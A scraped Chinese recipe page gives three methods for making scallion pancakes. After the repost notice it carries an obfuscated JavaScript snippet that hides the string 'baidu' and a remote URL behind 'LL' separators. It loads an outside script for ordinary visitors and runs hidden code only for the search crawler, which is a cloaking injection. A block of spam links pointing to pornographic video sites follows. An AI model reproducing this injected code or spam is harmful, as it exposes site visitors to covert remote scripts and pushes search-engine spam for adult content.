當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

地道蔥油餅的家常做法 表皮焦脆內部層層分離

2020-04-07 15:06:02  來源:360常識網   熱度:
導語:蔥油餅表皮焦脆、內部層層分離,蔥味實足,一口下去香咸酥脆,沒有人不愛吃。蔥油餅好吃,但是做出地道還俘獲眾心的蔥油餅卻不簡單。今天我

蔥油餅表皮焦脆、內部層層分離,蔥味實足,一口下去香咸酥脆,沒有人不愛吃。蔥油餅好吃,但是做出地道還俘獲眾心的蔥油餅卻不簡單。今天我們就跟隨360常識網來說說蔥油餅的家常做法。

地道蔥油餅的家常做法 表皮焦脆內部層層分離

蔥油餅的家常做法

做法一:

材料:面粉250克,一個雞蛋,細香蔥適量,食用油,食鹽,沸水150克。

做法:

1、拿出一個小碗,在其中加入250克面粉,準備好一定量的開水并加入面粉中。加入時,用筷子攪拌,當將面粉攪拌成絮狀時,用手揉捏,將面粉揉成光滑的面團,用保鮮膜覆蓋,然后靜置半小時進行發酵。(和面粉時,使用沸水和面,這將可以提高面團的發酵,使面團更好地發酵,并使蔥油餅更脆。)

2、發酵后取出面團,并在砧板上揉搓,將面團中的氣體揉出來。揉好后的面團,需要將其分成相同大小的小面團,然后再次揉成圓形。用搟面杖使勁搟壓,將其搟成薄厚均勻的面餅,并準備適量的食用油涂抹在面餅上,并撒上適量的蔥和少許鹽。(此步驟至關重要,這是制作蔥油餅(即涂抹食用油)的關鍵,如果不使用食用油,蔥油餅將特別干燥并且很硬。)

3、將面團片從左向右卷起,將其卷成圓柱形,然后將其卷成圓形餅狀,再將其卷成薄而均勻的面餅以備后用。準備一個煎鍋,將適量的食用油倒入鍋中,當油溫升至40%時,將準備好的面餅放入煎鍋中,然后進行煎餅。

4、同時,準備一個雞蛋,將雞蛋磕入碗中,打散,將其添加到面餅中并均勻地攤開。當面餅一面煎到金黃色時,翻面煎另一面,并用雞蛋在表面刷一層蛋液,最后,你只需要用中小火將兩面煎至金黃色即可裝盤出鍋,出鍋后切成塊即可食用。

地道蔥油餅的家常做法 表皮焦脆內部層層分離

做法二:

材料:中筋面粉200g、開水100g、小蔥1-2根、鹽適量、油適量

做法:

1、提前燒一小壺開水,劃圈淋入面粉中,然后用筷子攪拌成絮狀,待溫度降到不燙手時,用手將面攏成團,蓋上保鮮膜,放一旁醒15分鐘左右。

2、將小蔥清洗干凈瀝干水分,切成蔥花備用。

3、在案板上撒一些面粉(防粘),將醒好的面團放在案板上,揉成長條狀,然后將面團分成均勻的3份。

4、取一份面團,剩下的面團放一旁蓋保鮮膜備用。將面團揉圓,然后用搟面杖將面團搟成長而薄的橢圓型,薄薄刷上一層油,均勻撒上少許鹽,再鋪上一層蔥花。

5、將面餅卷起,然后豎放,用手捏緊上端的封口處,一邊旋轉面卷,一邊用手掌輕輕下壓,按扁成餅胚,撒上少許面粉防粘,然后搟圓搟薄。

6、平底鍋燒熱,淋入適量油刷勻,放入面餅,用中火加熱至餅胚微微隆起后翻面,繼續烙,其間翻面2-3次,直到兩面金黃,盛出后切分成四份。

地道蔥油餅的家常做法 表皮焦脆內部層層分離

做法三:

材料:小麥面粉100g、蔥花15g;辣椒油2湯匙、鹽適量、雞精半湯匙、芝麻1湯匙、熱水適量、食用油適量

1、準備面粉和蔥花,把蔥花水分徹底晾干。

2、面粉加熱水揉成光滑的面團。

3、把揉好的面團搟開,撒鹽,雞精,澆上一些食用油一些辣椒油,或者辣子雞,用刷子抹開。

4、撒上蔥花卷起來。

5、卷筒后再從另一端卷起。

6、稍微按扁,撒上芝麻。

7、輕輕把它搟開,然后直接放進電餅鐺煎熟,用不粘鍋也可以。

小貼士:蔥花要把水分徹底晾干,防止粘連。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久久91精品国产一区二区三区| 亚洲国产精品无码久久| 国产一区二区精品久久岳√ | 91自产拍在线观看精品| 亚洲国产精品狼友中文久久久| 91国内揄拍国内精品对白| 99精品国产自在现线观看| 狠狠入ady亚洲精品| 91久久精品国产成人久久| 国内精品伊人久久久久AV影院| 国产亚洲精品免费| 无码人妻精品一区二区三区久久久 | 国产精品社区在线观看| 精品国产一区二区三区久久久狼 | 久久99国产精品久久99| 色婷婷久久久SWAG精品| 国内精品videofree720| 99精品国产第一福利网站| 久久无码专区国产精品| 国产在线精品国自产拍影院| 亚洲第一区精品观看| 国产精品视频无圣光一区| 92国产精品午夜福利| 久久精品中文无码资源站| 国产成人精品午夜福利| 97国产精品视频| 久久久久99精品成人片| 亚洲欧洲自拍拍偷精品 美利坚| 国产精品久久久久影视青草| 午夜麻豆国产精品无码| 国产精品福利在线| 国产精品专区第二| 日本h在线精品免费观看| 亚洲国产成人久久精品动漫 | 国产精品va无码二区| 卡一卡2卡3卡精品网站| 亚洲国产精品无码中文lv| 国产精品久久自在自线观看| 91精品观看91久久久久久| 91精品国产免费网站| 7m精品福利视频导航|